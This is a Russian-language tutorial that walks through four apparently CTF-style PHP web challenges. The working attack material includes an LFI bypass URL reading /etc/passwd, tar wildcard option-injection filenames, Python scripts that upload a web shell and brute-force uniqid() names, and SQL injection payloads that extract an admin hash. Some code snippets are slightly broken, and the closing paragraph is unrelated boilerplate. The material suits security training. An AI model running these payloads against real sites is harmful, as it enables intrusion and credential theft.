web

Как находить баги в коде веб-приложений.

Сразу предупрежу, что большинство задач, которые мы сегодня разберем, будут на PHP. Это неспроста — на нем написано подавляющее большинство сайтов и сервисов в Интернете. Так что, несмотря на испорченную репутацию этого языка, вам придется его понять, чтобы серьезно взломать. Теперь, в рамках этого урока, знание PHP необязательно, но, конечно, это будет очень серьезным подспорьем.

Содержание скрыть

Впрочем, большинство уязвимостей не привязаны к конкретному языку или стеку технологий, так что, узнав их на примере PHP, ты легко сможешь эксплуатировать подобные баги и в ASP.NET, и в каком‑нибудь Node.JS.

И еще предупреждаю, что задачи, которые мы сегодня будем разбирать, не совсем начального уровня и что к «валенкам» тут совершенно никакого отношения — надо сначала прочитать материал и хоть немного представлять, чем вы хотите заниматься. Если вы можете отличить HTTP от XML и у вас нет вопросов типа «для чего нужен код?», Милости просим!

warning

Применение материалов этой статьи против любой системы без разрешения ее владельца преследуется по закону.

Сегодня мы разберем несколько задач, которые я решил сам в рамках тренинга. Они могут показаться вам пугающими, но пусть это не пугает вас — всегда есть возможность отточить свои навыки на специализированных хакерских сайтах.Я сейчас говорю о HackTheBox и Root-me, которыми пользуюсь сам и всячески советую другим. Две из сегодняшних задач взяты именно оттуда.

Задача 1

Сначала я приведу код, с которым мы сейчас будем работать.

<?php

$file = rawurldecode($_REQUEST['file']);
$file = preg_replace('/^.+[\\\\\\/]/', $file);
include("/inc/{$file}");
?>

По сути, тут всего три строки кода. Казалось бы, где тут может закрасться уязвимость?

Чтобы это понять, давай разберем алгоритм, который здесь реализован. Вообще, при аудите кода стоит уметь читать его построчно. Тогда проще понять, что именно может пойти не так.

Сначала в переменную $file помещается параметр file из URL-запроса. Если URL имел вид https://xakep.ru/example?file=test.php, то $_REQUEST['file'] будет содержать test.php.
Затем результат валидируется. Это нужно, чтобы нельзя было передать последовательности вида ../../../../etc/passwd и прочитать чужие файлы. Безопасность реализована регуляркой: в выход попадет все после последнего слеша, то есть останется только passwd, которого, конечно, в рабочей папке не окажется.
В конце очищенное имя файла подставляется в путь и загружается файл с этим именем. Ничего плохого.

Итак, что может пойти не по плану?

Как ты уже, конечно, догадался — проблема в функции очистки ввода (которая preg_replace). Давай обратимся к первой попавшейся шпаргалке по регулярным выражениям.

Шпаргалка

Тут прямо написан ответ, как обойти защиту (подсказка: ищи справа).

Видишь точку? А шапочку (^)? Та строка читается как «если в начале строки находится любое количество любых символов, кроме переноса строки, и это заканчивается слешем, удалить соответствующую часть строки».

Ключевое тут «кроме переноса строки». Если в начале строки будет перенос строки — регулярка не отработает и введенная строка попадет в include() без фильтрации.

info

На самом деле нормальные PHP-шники так файлы не подгружают. Рассмотренная задача — просто пример, хотя, по личному опыту, даже такие безнадежно небезопасные программы до сих пор нередко встречаются. В крайнем случае, можно попробовать найти поддомены вида old.company.com или oldsite.company.com, на которых порой крутятся версии сайта десятилетней давности с хрестоматийными уязвимостями.

Собственно пример чтения файла: http://test.host/lfi.php?file=%0a../../../../etc/passwd.

Результат

Задача 2

Это задачка с root-me, где ты, возможно, уже видел ее. Но мы все равно рассмотрим ее подробнее — она относится к реалистичным, и шансы встретить что‑то подобное в жизни немаленькие.

В задании нам дается простой файлообменник и просят получить доступ к панели админа.

Интерфейс файлообменника

Пользовательский интерфейс очень прост: есть кнопка для загрузки файла на сервер и просмотра загруженных файлов по прямым ссылкам. Забегая вперед, скажу, что загрузка скриптов в PHP, Bash и др. бесполезна, проверки выполнены правильно, а ошибка в другом.

Обрати внимание на нижнюю часть страницы, а точнее — на фразу «frequent backups: this opensource script is launched every 5 minutes for saving your files». И приведена ссылка на скрипт, вызываемый каждые пять минут в системе.

Давай глянем на него пристальнее:

#!/bin/bash

 
BASEPATH=$(dirname `readlink -f "$0"`)
BASEPATH=$(dirname "$BASEPATH")
 
cd "$BASEPATH/tmp/upload/$1"
tar cvf "$BASEPATH/tmp/save/$1.tar" *

Казалось бы — что тут такого? На параметры ты влиять не можешь, а мантру призыва tar вообще знаешь как свои пять пальцев. А проблема в самой мантре: тут она написана не полностью. Точнее, не в том виде, как ее увидит сам tar.

Что делает звездочка? Вместо нее bash подставит имена всех файлов в текущей папке. Вроде ничего криминального.

А давай обратимся к мануалу на Tar, который нам любезно предоставлен вместе с условием задачи.

Интересности в Tar

Вот это место представляет для нас самый большой интерес. Дело в том, что tar имеет несколько особых возможностей для гибкого мониторинга процесса архивации со стороны. Это достигается с помощью так называемых чек‑пойнтов, у которых могут быть свои определенные действия. Одно из действий — exec=command, которое при достижении чек‑пойнта выполнит команду command с помощью стандартного шелла.

Теперь вспомним про звездочку: вместо нее шелл (bash) подставит список всех файлов в текущей папке, при этом они могут иметь любые имена. В том числе такие, которые будут восприняты архиватором как специальные параметры.

Таким образом, нам надо подсунуть файлы с именами в виде аргументов tar. Я использовал такие: --checkpoint=1, --checkpoint-action=exec=sh shell.sh (пустые) и shell.sh (полезная нагрузка). В shell.sh находится следующий код:

#!/bin/sh

cp ../../../admin/index.php ./

Просто заголовок и команда копирования админской панели в текущую папку. Естественно, тут мог быть реверс‑шелл или еще что‑то, но для решения конкретно этой задачи такая «тяжелая артиллерия» не нужна.

Теперь дожидаемся выполнения нашего шелла — и увидим в окне файлообменника файл админ‑панели в виде простого текста. Осталось только открыть его и найти там пароль!

Пароль в чистом виде

Задача 3

Тут у нас плагин для WordPress, который позволяет запись аудио и видео.

Я не буду просить тебя найти уязвимость, а сразу покажу ее.

Уязвимое место

Как видно из строк 247–251 на скриншоте, не предусмотрено никаких проверок на тип или содержимое файла — это просто классическая загрузка!

Есть, правда, ограничение: файл грузится в стандартную директорию WordPress (/wordpress/wp-content/uploads/{YEAR}/{MONTH}). Это значит, что листинг содержимого нам по умолчанию недоступен. А в строке 247 генерируется случайный идентификатор, который подставляется в начало имени файла, то есть обратиться к /wordpress/wp-content/uploads/2021/01/shell.php уже не выйдет. Непорядок!

Но непорядок не в том, что имя файла меняется, а в том, что делается это с помощью функции uniqid(). Обратимся к документации:

Получает уникальный идентификатор с префиксом, основанный на текущем времени в микросекундах.

<…>

Внимание. Эта функция не гарантирует получения уникального значения. Большинство операционных систем синхронизирует время с NTP либо его аналогами, так что системное время постоянно меняется. Следовательно, возможна ситуация, когда эта функция вернет неуникальный идентификатор для процесса/потока

Смекаешь? Уникальный идентификатор, полученный с помощью uniqid(), не такой уж уникальный, и это можно проэксплуатировать. Зная время вызова, мы можем угадать возвращаемое значение uniqid() и узнать реальный путь к файлу!

Так как PHP — проект открытый, мы можем подсмотреть исходники функций стандартной библиотеки. Открываем исходник uniqid() на GitHub, переходим к строке 76 и наблюдаем следующее:

uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);

Что тут происходит? А то, что возвращаемое значение зависит исключительно от текущего времени, которое в рамках одной планеты вполне предсказуемо.

Хоть выходная последовательность и выглядит случайной, она таковой не является. Чтобы не быть голословным, вот пример имени файла, сгенерированного таким алгоритмом:

5ff21d43dbbab_shell.php

Полученное значение легко можно конвертировать обратно в дату и время его генерации:

echo date("r", hexdec(substr("5ff21d43dbbab", 0, 8)));

// Sun, 03 Jan 2021 11:38:43 -0800

Конечно, брутить все 13 символов — вши заедят, но у нас есть способ получше: мы можем пробрутить варианты на основе времени загрузки плюс‑минус полсекунды, чтобы нивелировать разбежки часов на клиенте и сервере. А можно просто поверить, что часы у обоих хостов точные, а значит, можно проверить не миллион вариантов (1 секунду), а только варианты, возможные между временем отправки запроса и временем получения ответа. На шустром канале это будет порядка 300–700 мс, что не так и много.

info

Конечно, не все реальные кейсы требуют глубоких познаний в PHP или другом серверном языке. Многие ошибки можно найти, даже не открывая код — с помощью автоматических сканеров.

Я набросал простой скрипт на Python для демонстрации такой возможности. Его код представлен ниже:

#!/usr/bin/env python3
 
import requests, time
 
url = 'http://example.host/wordpress/wp-admin/admin-ajax.php'
data = {
'audio-filename': 'file.php',
'action': 'save_record',
'course_id': 'undefined',
'unit_id': 'undefined',
 
}
files = {
'audio-blob': open('pi.php.txt', 'rb')
}
 
print(time.time()) # Время отправки запроса
r = requests.post(url, data=data, files=files)
print(time.time()) # Время ответа
 
print(r.headers)

Нам нужно запустить его несколько раз, чтобы подобрать минимальное время между отправкой запроса и получением ответа — это позволит уменьшить время перебора.

Также нужно помнить, что разбежки все же могут быть, и чисто на всякий случай стоит проверить, насколько локальное время соответствует времени на сервере. Частенько оно возвращается сервером в заголовке Last-Modified и позволяет понять, какую величину коррекции внести в свои расчеты.

Теперь брутим:

#!/usr/bin/env python3
 
import sys, time
 
try:
from queue import Queue, Empty
except:
from Queue import Queue, Empty
 
number = Queue()
 
timestamp = 100000000 # your timestamp here
def main():
try:
hextime = format(timestamp, '8x')
 
while number:
try:
n = number.get(False)
hexusec = format((n), '5x')
print("%s%s" % (hextime, hexusec))
 
except:
exit()
 
except Exception as e:
print(" Exception main", e)
raise
 
try:
for num in range(100000, 900000): # your us here
number.put(num)
 
main()
 
except KeyboardInterrupt:
print("\nCancelled by user!")

Как бы еще оптимизировать перебор?

Ну, во‑первых, питон сам по себе очень медленный и, конечно, не смог бы выполнить соединение, передачу заголовков, отправку файла и прочие мелкие накладные расходы в тот же момент. А интерпретатор PHP на стороне сервера едва ли моментально проверит права, запустит скрипт, отработает служебные функции и дойдет до собственно уязвимого места. Тут можно накинуть эдак тысяч сто микросекунд без малейших потерь.

Во‑вторых, выполнение uniqid() очевидно происходит не в самом конце функции. Еще нужно время на обработку загруженного файла, запись ответа (заголовков), отправку этого всего по сети и на обработку ответа интерпретатором Python. Тут тоже можно порядка 100 000 микросекунд вычесть.

Вот так на ровном месте мы сократили перебор на 200 000 запросов. Много это или мало? В моем случае это сократило количество запросов еще примерно на треть.

Осталось порядка 500 000 вариантов, которые можно перебрать в пределах часа или даже меньше — у меня это заняло минут 15.

Теперь давай напишем еще один скрипт, который и будет искать наш шелл с использованием этого алгоритма:

#!/usr/bin/env python3
 
import time
import threading
import requests
from threading import Lock
 
try:
from queue import Queue, Empty
except:
from Queue import Queue, Empty
 
number = Queue()
thread_count = 500
timestamp = 100000000 # your timestamp here
 
def main():
try:
hextime = format(timestamp, '8x')
 
while not finished.isSet():
try:
n = number.get(False)
hexusec = format((n), '5x')
uniqid = hextime + hexusec
ans = requests.get('http://example.host/wordpress/wp-content/uploads/2021/01/{0}_file.php'.format(uniqid))
 
if ans.status_code == 200:
print('Shell: http://example.host/wordpress/wp-content/uploads/2021/01/{0}_file.php'.format(uniqid))
exit()
 
except Empty:
finished.set()
exit()
 
except Exception as e:
print(" Exception main", e)
raise
 
try:
for num in range(100000, 900000): # your us here, including range limits described
number.put(num)
 
finished = threading.Event()
 
for i in range(thread_count)
t = threading.Thread(target=main)
t.start()
 
except KeyboardInterrupt:
print("\nCancelled by user!")

Вот и всё: запускаешь, через некоторое время получаешь путь, и хост захвачен!

Наверняка у тебя возник вопрос, нельзя ли как‑то еще усовершенствовать этот перебор, потому что 500 тысяч вариантов — это все равно как‑то многовато? Можно, но такого значимого ускорения, как раньше, уже не будет. Суть в том, что можно идти не от начала промежутка времени к концу, а от середины к краям. По опыту, это работает несколько быстрее.

Другой способ

Есть и способ попроще. Заключается он в следующем: новый путь к файлу формируется как <стандартная папка загрузок> + <новое имя файла>. При этом новое имя файла равно uniqid() + "_" + <имя файла от пользователя>. Валидации пользовательского имени не происходит, так что мы можем в конечном итоге заставить переместить файл по пути <папка загрузок> + <случайное значение> + "_/../shell.php", передав в имени значение /../shell.php. Теперь наш шелл станет доступен по известному пути <путь к текущему wp-upload>/shell.php.

Задача 4

Последняя на сегодня задачка — тоже с root-me и тоже из категории реалистичных, но заметно посложнее. Сервис Web TV — новейшая французская разработка в сфере интернет‑телевидения. Но нас интересует не новая дешевая трагедия, а админка.

Главная страница Web TV.

Только — вот незадача — Gobuster никаких признаков админки не обнаружил. Придется изучать, что нам доступно. А доступен логин (там форма авторизации) и ссылка на неработающий эфир.

Попробуем залогиниться и перехватить запрос на авторизацию с помощью Burp.

Буква З в слове «реальность» означает «защищенность»

Запрос отправляем в Repeater (повторитель). Пусть пока там полежит.

Взглянем еще разок на форму логина. Какие мысли тебя посещают, когда ты видишь форму для авторизации? Конечно, SQL-инъекция! А давай ткнем туда кавычку. Написали. Отправляем. Хм, ничего не поменялось. А как вообще узнать, что что‑то поменялось? Смотри на заголовок Content-Length в ответе: в нашем случае там приходит ровно 2079 байт, если инъекции не было, и, очевидно, придет сильно другой результат в противном случае. Я попробовал еще немного, и инъекция так просто не выявилась, так что давай поищем в другом месте, а потом вернемся к этому запросу.

Теперь посмотрим в адресную строку. Похоже, на сервере включен mod_rewrite, поскольку имен файлов не видно. Походим немного по сайту, запоминая варианты URL в адресной строке. Наблюдаем /page_login, /page_tv, /page_accueil. Значит, /page_ — скорее всего, имя массива. Во всяком случае, на моем опыте это обычно так. А если после /page_ передать что‑то корректное, но не ожидаемое сервером?

Я попробовал перейти на страницу /page_index и получил ошибку как на скрине ниже.

Ошибка интерпретатора

В первом сообщении об ошибке видна часть пути (corp_pages/fr/index), которая заканчивается на то же, что передано в URL после /page_. Проверим нашу догадку — перейдем по пути /page_xakep.php.

И действительно — сайт просто подставляет параметр в путь и пытается прочитать несуществующий файл xakep.php. Пользовательский ввод подставляется в путь — значит, у нас есть возможность повеселиться на сервере!

Методом научного тыка был обнаружен параметр /?action=. Он оказался почти такой же по действию, как /page_. Попробуем прочитать index.php в корне сайта.

/?action=../../index.php

Видно не все, но если открыть ответ в Burp или даже просто просмотреть код страницы браузером — открывается полный исходник. Вот тебе и directory traversal налицо.

Результат обхода каталога

Помнишь, мы не могли найти путь к админке? А на скриншоте он есть: именно на него будет редирект, когда скрипт проверит логин и пароль.

info

Взглянем поподробнее на функцию safe. Она принимает некоторую строку, экранирует спецсимволы и, опционально, удаляет спецсимволы HTML (если второй параметр равен 1). Экранирование спецсимволов делается функцией addslashes, которая без проблем обходится с помощью мультибайтовой кодировки, например китайской. Все было бы совсем радужно, если бы сервер поддерживал нужную кодировку, но, к сожалению, у нас этого нет.

Давай, не отходя от кассы, сразу и его прочитаем — вдруг там что‑нибудь интересное есть.

<?php
require_once '../inc/config.php';
 
function decrypt($str, $key) {
$iv = substr( md5("hacker",true), 0, 8 );
return mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $str, MCRYPT_MODE_CBC, $iv );
}
 
$msg="";
$user="";
if (isset($_GET["logout"])) $_SESSION['logged']=0;
 
if (isset($_GET["user"]) && preg_match("/^[a-zA-Z0-9]+$/",$_GET["user"])){
$user=$_GET["user"];
} else {
$msg="<p>hack detected !</p>";
$_SESSION['logged']=0;
}
 
 
 
if ($_SESSION['logged']==1) {
$Validation="4/lOF/4ZMmdPxlFjZD63nA==";
if ($result = $db->query("SELECT passwd FROM users WHERE login='$user'")) {
if($result->num_rows > 0){
$data = $result->fetch_assoc();
$key=base64_encode($data['passwd']);
$msg=$text['felicitation'].decrypt(base64_decode($Validation),$key);
} else {
$msg="<p>no such user</p>";
$_SESSION['logged']=0;
}
$result->close();
} else{
$msg="<p>ERREUR SQL</p>";
$db->close();
exit();
}
} else {
header("Location: ../index.php");
$db->close();
exit();
}
 
$db->close();
?>

Код успешно прочитан, и видна интересная функция decrypt, принимающая некую строку и ключ.

Если вы прочтете код дальше, вы увидите защиту от специальных символов в имени пользователя, затем пароль извлекается из базы данных и расшифровывается вышеуказанной функцией. Казалось бы, это так, но сначала нам нужно узнать имя пользователя, которого у нас еще нет. Забегая вперед: все ошибки этого приложения находятся в двух изученных файлах, других нет.

Теперь, чтобы эксплуатировать дальше, давай вернемся к прошлому файлу и рассмотрим его код еще раз.

if(isset($_POST['login'],$_POST['pass']) and !empty($_POST['login']) and !empty($_POST['pass']) ) {
 
$passwd=sha1($_POST['pass'],true); # Хеширование
$username=safe($_POST['login']); # Извлечение юзернейма
$sql="SELECT login FROM $table WHERE passwd='$passwd' AND login='$username'";
 
<...>

}

Присмотрись к вызову функции хеширования: помнишь ли ты, что означает второй параметр (true) в функции sha1? Я тоже нет, так что давай посмотрим мануал:

Список параметров

string

Входная строка.

binary

Если необязательный аргумент binary имеет значение true, хеш возвращается в виде бинарной строки из 20 символов, иначе он будет возвращен в виде 40-символьного шестнадцатеричного числа.

<…>

То есть вернется некоторая бинарная последовательность, которая будет распознана как строка. Нам нужно, чтобы последний байт был равен 5c, что в ASCII равно бэкслешу. Тогда в SQL-запросе закрывающая кавычка после пароля будет экранирована и мы сможем подставить в логин произвольный SQL-код! После подобной подстановки наш запрос может выглядеть как‑то так:

$sql="SELECT login FROM $table WHERE passwd='123123'' OR 1=1 -- '";

И для этого нужно только подобрать такой символ из мультибайтовой кодировки, чтобы его последний байт был равен 5c. А в нашем случае нужно подобрать такой пароль, хеш которого заканчивался бы на 5c. Это уже проще простого — ведь мы не ограничены в том, что передаем в функцию. Я написал для этого простой скрипт на PHP.

<?php
for ($i = 1; $i <= 10000; $i++) {
$hash = sha1($i);
 
if (substr($hash, 38, 2) == "5c") {
echo $i." - ";
die(sha1($i, true));
}
}
?>

На самом деле даже 10 000 вариантов — оверкилл, потому что 5c — это один байт, а так как выходная последовательность хеш‑функции псевдослучайна, то понадобится примерно 256 попыток, если не будет дублей. Я же перестраховался.

Выполнилось все очень быстро — подошло уже число 17. Теперь у нас есть «правильный» пароль. Нужно посмотреть, какая будет реакция сервиса. Помнишь наш запрос на логин в Burp? Подставляй в качестве пароля число 17, а в логин — классический ORDER BY 1-- (с пробелами на обоих концах). Ошибки нет, все в порядке. Значит, полей больше, чем одно. Поставим что‑нибудь больше — 111, например. Выполняем — и вот у нас ошибка, значит SQL-инъекция работает!

Печально, правда, что никакого результата из запроса не выводится. Как это побороть? Использовать любые шаблоны time-based, boolean-based или error-based.

Мой любимый payload в таких случаях — AND extractvalue(1,concat(0x3a,(select version() from users limit 0,1))). На всякий случай заменим пробелы на плюсы, подставим в поле логина в Burp и отправим запрос. Видим в ответе следующее:

SQL error : XPATH syntax error: ':5.7.32-0ubuntu0.16.04.1'

Инъекция работает, пусть и выводит не больше 31 символа за раз. А нам большего и не надо. Видоизменим инъекцию немного, чтобы получить логин:

AND extractvalue(1,concat(0x3a,(select login from users limit 0,1)))

Ответ:

SQL error : XPATH syntax error: ':administrateur'

И теперь пароль:

AND extractvalue(1,concat(0x3a,(select passwd from users limit 0,1)))

И вот он:

SQL error : XPATH syntax error: ':e79c4da4f94b86cba5a81ba39fed083'

Но не все так просто. Как ты помнишь, длина хеша SHA-1 в шестнадцатеричной кодировке — 40 символов, а нам вернулись 31. Непорядок! Чтобы это исправить, просто возьмем функцию right:

AND extractvalue(1,concat(0x3a,(select right(passwd,20) from users limit 0,1)))

И вот наши последние 20 символов:

SQL error : XPATH syntax error: ':1ba39fed083dbaf8bce5'

Полный хеш — e79c4da4f94b86cba5a81ba39fed083dbaf8bce5.

Дальше нужно обойти проверки в logged.php. После некоторых упрощений и очистки его кода от мусора полезный вариант будет выглядеть так:

function decrypt($str, $key) {
$iv = substr(md5("hacker",true), 0, 8);
return mcrypt_decrypt(MCRYPT_BLOWFISH, $key, $str, MCRYPT_MODE_CBC, $iv);
}
 
$Validation = "4/lOF/4ZMmdPxlFjZD63nA==";
$key = base64_encode('e79c4da4f94b86cba5a81ba39fed083dbaf8bce5');
echo decrypt(base64_decode($Validation), $key);

Это все осталось лишь обернуть в заголовки PHP и запустить — и пароль у нас в руках!

Напоминаем, что рабочий процесс — это не рутина, а творческий процесс, который определяет широту вашей мысли. Относитесь к своей работе как к новому вызову, и вы обязательно начнете получать не только удовольствие, но и вдохновение и желание развиваться. Задачи тестировщика очень многогранны: им нужно разобраться в задаче веб-приложения, понять, как оно должно работать, какие задачи решать, какие преимущества принести пользователям, а затем несколько раз перепроверить все, чтобы выпустить проект в мир. Их нужно собирать и дерзать выпускать проекты, которыми может гордиться вся команда =)

Click to rate this post!

[Total: 1 Average: 5]

faza